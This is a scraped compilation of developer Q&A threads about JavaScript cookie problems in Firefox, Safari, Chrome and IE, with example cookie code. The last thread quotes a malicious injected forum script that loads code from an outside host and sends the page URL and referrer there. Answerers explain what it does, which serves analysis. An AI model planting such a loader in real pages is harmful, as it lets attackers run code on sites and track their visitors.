Cookie from local homepage lost between sessions in Firefox 57 - javascript

(Note: I believe I'm asking about the same problem as this unanswered question, which is less specific than mine partly because it didn't include an MWE. Per discussion on this meta page and this one, I believe it's OK to post a better version of an existing question that has not been answered.)
The following HTML contains an MWE version of a script that worked for years in Firefox but suddenly failed in Firefox 57.0. The MWE simply displays an integer, incrementing it each time the file is loaded. The script works in Safari, displaying a different integer each time if I set this file to load when Safari starts. It works in FF if I repeatedly load the file from the menu using File/Open in the same session. However in FF 57 it always displays 0 if I load the file when the browser starts. Examination of document.cookie and miscellaneous console.log() statements show that this happens because FF 57 loses the cookie between sessions. Why?
Is this a bug in FF 57? Is there something subtly wrong with my code that's causing it to fail in FF 57? Maybe because FF 57 is stricter about Javascript in some way? (I've checked to see if there's a report about this, but haven't found anything, and have checked to see any of the config settings in Preferences or in about:config that might control this behavior, but I haven't found anything.)
<html>
<head>
<script type="text/javascript">
<!--
function incrementCookie() {
lastfooStr = getCookie("foo");
if (lastfooStr == null || lastfooStr == NaN) { // if first time, start the indexes at 0
nextfoo = 0;
} else {
nextfoo = 1 + parseInt(lastfooStr); //increment it
}
setCookie("foo", nextfoo, 365);
document.write("<head><body>" + nextfoo + "</body></head>");
}
function setCookie(cookie_name, value, expire_days) {
var expire_date=new Date(); // get now
expire_date.setDate(expire_date.getDate() + expire_days); // expiration date
var cookie = cookie_name + "=" + value +
"; expires=" + expire_date.toUTCString() +
"; path=/";
document.cookie = cookie;
}
function getCookie(cookie_name) {
var doc_cookie = " " + document.cookie;
var cookie_value = null;
var cookie_start = doc_cookie.indexOf(" " + cookie_name + "=");
if (cookie_start != -1) { // found it; now get the value.
var cookie_val_start = doc_cookie.indexOf("=", cookie_start) + 1;
var cookie_val_end = doc_cookie.indexOf(";", cookie_val_start);
if (cookie_val_end == -1) { // must be the last cookie
cookie_val_end = doc_cookie.length;
}
cookie_value = doc_cookie.substring(cookie_val_start, cookie_val_end);
}
return cookie_value;
}
window.onload=incrementCookie();
//-->
</script>
</head>
</html>
Full disclosure: In FF 57, I get the following (irrelevant, I believe) messages in the console when I run this script:
An unbalanced tree was written using document.write() causing data from the network to be reparsed. For more information https://developer.mozilla.org/en/Optimizing_Your_Pages_for_Speculative_Parsing
cookietest.html:48
Line 48 is the second to last line of the file; it's the one containing the </script> tag.
And:
The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.
In Safari, I only get this message when I run it:
Not allowed to load local resource: file:///favicon.ico

Related

Can't set Cookie with JavaScript in Safari or iOS

I'm working on some cookie consent and terms etc.. So I made a JS function to set a cookie after user clicks "Agree" button:
...html
<button onclick="setCookie('law_cookie', 'agree_all', 90)">
...js
function setCookie(name, value, daysToLive) {
// Encode value in order to escape semicolons, commas, and whitespace
let cookie = name + "=" + encodeURIComponent(value);
if (typeof daysToLive === "number") {
/* Sets the max-age attribute so that the cookie expires
after the specified number of days */
cookie += ";max-age=" + (daysToLive * 24 * 60 * 60) + ';Secure;path=/';
document.cookie = cookie;
cookie_set = true
}
}
Now I tested in chrom and firefox, everything works great! BUT, safari isn't able to set a cookie. I tried to initialise by clicking on the button but after reload safari hasn't set the cookie.
I checked if javascript was enabled (it was) and I also tried to set cookie = encodeURIComponent(cookie); but nothing works.
Someone has an idea what I'm doing wrong?
Safari version 15.2, unlike Chrome and Firefox, refuses to set Secure cookies on the localhost origin, so you'll need to add a workaround just for Safari.
Have you tried using a private tab on safari? It may be possible that it didn’t load your new files. On my website I use the same method to write cookies and it works on Safari.
Encoding the value is good
let cookie = name + "=" + encodeURIComponent(value);
But encoding the whole sting not:
cookie = encodeURIComponent(cookie);
I modified your script I removed the 'secure' entry as that will limit it to working only with HTTPS, when you are troubleshooting give it the best chances, and add security only when everything works. In the past the might have worked with some browsers:
https://developer.mozilla.org/en-US/docs/web/api/document/cookie
;secure Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.
And I added window.alert so you will see 3 things:
Proof that your button/event actually hit
Check that you provided the age argument (without age your condition will not save cookie)
Will show you what values are going to save so you can confirm if it's ok.
The modified JS:
function setCookie(name, value, daysToLive) {
// Encode value in order to escape semicolons, commas, and whitespace
let cookie = name + "=" + encodeURIComponent(value);
if (typeof daysToLive === "number") {
/* Sets the max-age attribute so that the cookie expires
after the specified number of days */
cookie += ";max-age=" + (daysToLive * 24 * 60 * 60) + ';path=/';
window.alert(cookie);
document.cookie = cookie;
cookie_set = true
}
}
setCookie('law_cookie', 'agree_all', 90)
Often using a lot of console.log helps with troubleshooting as well
Do you use some other frameworks which could interfere with this? Something might be doing stuff with cookies behind your back. Did you try saving cookies from the HTTP header as well?
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
Did you try to minimalize the replicator, make smallest project which can still replicate the problem? Or start with a small self-contained JS fiddle:
https://jsfiddle.net/ao9p7e4j/1/
Here I added a function to show cookies to see what you have

Chrome loading script twice when manually typing url to move to next page

I am having a bizarre issue that I'm thinking may be a Chrome bug or possibly a bug with Visual Studio. My script is getting loaded twice. To verify the issue I created a test script that sets a cookie with a timestamp to show the code is getting appended twice. If I navigate to the page via a hyperlink it works fine. Also if I hit the back and forth buttons it also works fine -- but if I manually type the url for the second page in the browser it calls the script twice.
This only happens in Chrome and only when using a Asp.Net Web Application. If I use a Asp.Net website, it does not occur. These are new empty web applications with no extra files or settings changed.
My example html pages look like this:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Page 1</title>
<script src="chromebug.js"></script>
</head>
<body>
<h1>Page 1</h1>
Page 1
Page 2
Page 3
</body>
</html>
And the chromebug.js look like this:
function getCookieTest(name) {
var cookie, cookies = document.cookie.split(';');
name = name + '=';
while ((cookie = cookies.pop())) {
cookie = cookie.replace(/^\s+/, '');
if (cookie.indexOf(name) === 0) {
return cookie.substring(name.length, cookie.length);
}
}
return null;
}
function setCookieTest(name, value, secs) {
var c;
if (secs > 0) {
c = new Date();
c.setSeconds(c.getSeconds() + secs);
c = name + '=' + value + '; expires=' + c.toGMTString() + '; path=/';
} else {
c = name + '=' + value + '; path=/';
}
document.cookie = c;
return
}
console.log('chromebug loaded');
var getdata = getCookieTest('loaded') || '';
setCookieTest('loaded', getdata.toString() + document.title + ':' + new Date().getTime().toString() + '|', 10000);
getdata = getCookieTest('loaded');
console.log(getdata); // show what has been saved in the cookie
Am I missing something? Any way to work around this?
I even created a video where the issue is demonstrated:
http://screencast.com/t/MpXfbDMBvfY
Thanks so much to stdob for pointing me to the Live HTTP Headers extension. I'd recommend it if you are having a similar issue.
https://chrome.google.com/webstore/detail/live-http-headers/iaiioopjkcekapmldfgbebdclcnpgnlo?hl=en
The issue in my case is with the Google Chrome prefetch optimization. When you type in the address bar, Google anticipates the page you will be loading and starts pulling down the scripts. If your script preforms some loading or cookie action upon loading this is problematic. When you uncheck this option you should see the duplicate loads go away.
However this is an easy way to control this without changing your settings. This is especially important since you have no control over your end-user's settings.
if (document.webkitVisibilityState && document.webkitVisibilityState == 'prerender') {
// avoid performing load logic
}
It's look like Chrome have non-obvious behavior when user manualy typing url in address bar. You can use some tools like Chrome live http headers to catch this behavior.

document.cookie is still accessible on IE11, even though cookies are disabled

Using IE11, I can display the content of all cookies, write out a cookie, find it, and delete it using JavaScript, even though I have my Privacy set to "Block All Cookies". (And actually, no matter what version I set my IE emulation to, the document.cookie still works.) It works as it should on Chrome with cookies disabled - i.e. document.cookie returns empty/nothing when I try to reference it in the same JavaScript.
I'm trying to detect whether the user has cookies turned off in their IE. (Old ASP app that requires IE with cookies. No JQuery. No Modernizr.) To do that, I'm attempting to write out a cookie, find it, and then delete it. That either works or it doesn't - which should tell me whether cookies are turned ON or OFF. Any ideas? I thought this was the safest way to detect a user's IE cookie setting.
My code:
<script language=javascript>
cookiesON = false;
if ("cookie" in document ) {
alert("1. document.cookie (before add): " + document.cookie);
var dateNow = new Date();
document.cookie = "testcookie=" + new Date()
alert("2. document.cookie (after add): " + document.cookie);
if (document.cookie.indexOf("testcookie=") > -1) {
cookiesON = true;
} else {
cookiesON = false;
}
// delete cookie: set cookie to expire 2 minutes ago
document.cookie="testcookie=xx; expires=" + (new Date(dateNow.getTime() - 2*60000).toGMTString());
alert("3. document.cookie (after delete): " + document.cookie);
}
On IE:
All 3 alerts show values for document.cookie, no matter whether cookies are turned on or off. You can see the testcookie being added and deleted back off.
On Chrome:
All 3 alerts show blank for document.cookie when cookies are off. Works as described for IE when cookies are turned on.

Safari doesnt save cookie data but IE/FF does?

I'm stuck with this weird issue in Safari. I'm storing a user selection data in a cookie using javascript.
I create the cookie using following code -
document.cookie = cookieName +
"=" + encodeURIComponent(cookieValue) +
"; expires=" + jsDate.toGMTString();
and its read using -
var cookie = document.cookie;
if(cookie.length !== 0){
var theCookie=" "+document.cookie;
var ind=theCookie.indexOf(" "+cookieName+"=");
if (ind==-1) ind=theCookie.indexOf(";"+cookieName+"=");
if (ind==-1 || cookieName=="") return "";
var ind1=theCookie.indexOf(";",ind+1);
if (ind1==-1) ind1=theCookie.length;
return unescape(theCookie.substring(ind+cookieName.length+2,ind1));}
else { return '';}
This code works fine in Firefox and IE but when I access this cookie's data in Safari - an empty string is returned. The weird thing is, if i REPEAT my selection and try again, i can access the data. In other words, the first time i access my site, the cookie data is unavailable but in subsequent attempts the data is available!
To see this issue again, i have to clear Safari's cache, history and delete the cookies from the "Show cookies" section and reopen the browser.
Another observation - when i fail to read the cookie data, we can see the cookie when we look under Safari > Preferences > Security > Show cookies
ps:
facing this with Safari version 4 & 5

Malicious javascript posted in forum

<SCRIPT>
ff = 0;
for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1;
if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) && false ) ) {
document.write('<SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&k=' + escape('generic norvasc') + '&r=' + escape(document.referrer) + '"><' + '/SCRIPT>' ); document.write ('<' + '!--' );
}
</SCRIPT>
Recognize this code? I see it's stuck in a number of websites, but all the characters have been replaced with their hex or octal equivalent. Someone posted this code in a post on one of my dad's sites, but I can't quite figure out what it's doing. It seems to be harvesting mappings of web pages to referrers, but I can't figure out what the first few lines are doing. Anyone have any idea what's going on here?
It's writing a script tag to the page, pointing to their javascript. Their javascript will be executed on your website, making them do whatever they please to your website.
The first few lines are just some checks on variables that are probably created within their script. Maybe something to do with checking if the script tag has already been written.
It's checking for dependencies (javascript variables set by other code), then it dials home to let the home server know what page it successfully infected. Home appears to be here in Kiev.

Categories